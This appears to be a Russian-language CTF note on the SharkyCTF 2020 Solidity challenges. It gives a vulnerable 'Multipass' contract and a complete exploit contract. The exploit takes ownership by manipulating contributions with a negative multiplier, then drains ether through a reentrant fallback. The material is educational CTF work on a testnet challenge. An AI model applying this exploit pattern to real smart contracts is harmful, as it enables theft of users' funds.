Sharkyctf2020

Sharkyctf 2020 β€” Π±Ρ‹Π» Ρ†Π΅Π»Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ Π·Π°Π΄Π°Π½ΠΈΠΉ DeFi Π½Π° Solidity ΠΈ Π±Ρ‹Π»ΠΈ Ρ€Π°ΠΉΡ‚Π°ΠΏΡ‹ Π½Π° Π½ΠΈΡ… Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ blockchain.

Writeup: https://imagin.vip/?p=1380#Warmup

Π€ΠΈΡˆΠ΅Ρ‡ΠΊΠΈ:

  • На etherscan Π²ΠΈΠ΄Π½Ρ‹ всС измСнСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΊΠΎΠ½Ρ‚Ρ€Π°ΠΊΡ‚Π° (замСняСм Π½Π° свой ΠΊΠΎΠ½Ρ‚Ρ€Π°ΠΊΡ‚)

https://ropsten.etherscan.io/tx/0x112db25adf343310ab34a8210532c513cd5c6e309b368c19f577c590a0149d23#statechange

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ эксплоита Π½Π° Solidity:

ΠŸΡƒΡΡ‚ΡŒ Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€Π°ΠΊΡ‚ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π°Ρ‚Π°ΠΊΠΎΠ²Π°Ρ‚ΡŒ)

pragma solidity = 0.4.25;
 
contract Multipass {
    address public owner;
    uint256 public money;
     
    mapping(address => int256) public contributions;
     
    bool public withdrawn;
     
    constructor() public payable {
        contributions[msg.sender] = int256(msg.value * 900000000000000000000);
        owner = msg.sender;
        money = msg.value;
        withdrawn = false;
    }
     
    function gift() public payable {
        require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether);
        contributions[msg.sender] = int256(msg.value) * 10;
        money += msg.value;
    }
   
    function takeSomeMoney() public {
        require(msg.sender == owner && withdrawn == false);
        uint256 someMoney = money/20;
        if(msg.sender.call.value(someMoney)()){
            money -= someMoney;
        }
        withdrawn = true;
    }
     
    function contribute(int256 _factor) public {
        require(contributions[msg.sender] != 0 && _factor < 10);
        contributions[msg.sender] *= _factor;
    }
     
    function claimContract() public {
        require(contributions[msg.sender] > contributions[owner]);
        owner = msg.sender;
    }
}

И этот ΠΊΠΎΠ½Ρ‚Ρ€Π°ΠΊΡ‚ располоТСн ΠΏΠΎ адрСсу: 0x693282455c051D6CB3B138fD78474c8D9F7c8AFa

Π’ΠΎΠ³Π΄Π° эксплоит Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (ΠžΠ±Ρ€Π°Ρ‚ΠΈ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Ρ‡ΡƒΠΆΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€Π°ΠΊΡ‚ инициализируСтся Ρ‡Π΅Ρ€Π΅Π· адрСс):

pragma solidity = 0.4.25;

import "./multipass.sol";

contract exp{
    Multipass x;
    constructor(){
        x = Multipass(0x693282455c051D6CB3B138fD78474c8D9F7c8AFa);
    }
     
    function prepare() public payable{
        x.gift.value(0.00005 ether)();
        // you need invoke this function twice
        x.contribute(-100000000000);
        x.contribute(-100000000000);
        // x.contribute(2);
    }
     
    function Claim(){
        x.claimContract();
    }
     
    function reEntry(){
        x.takeSomeMoney();
    }
     
    function() public payable{
        x.takeSomeMoney();
    }
     
     
}

Last updated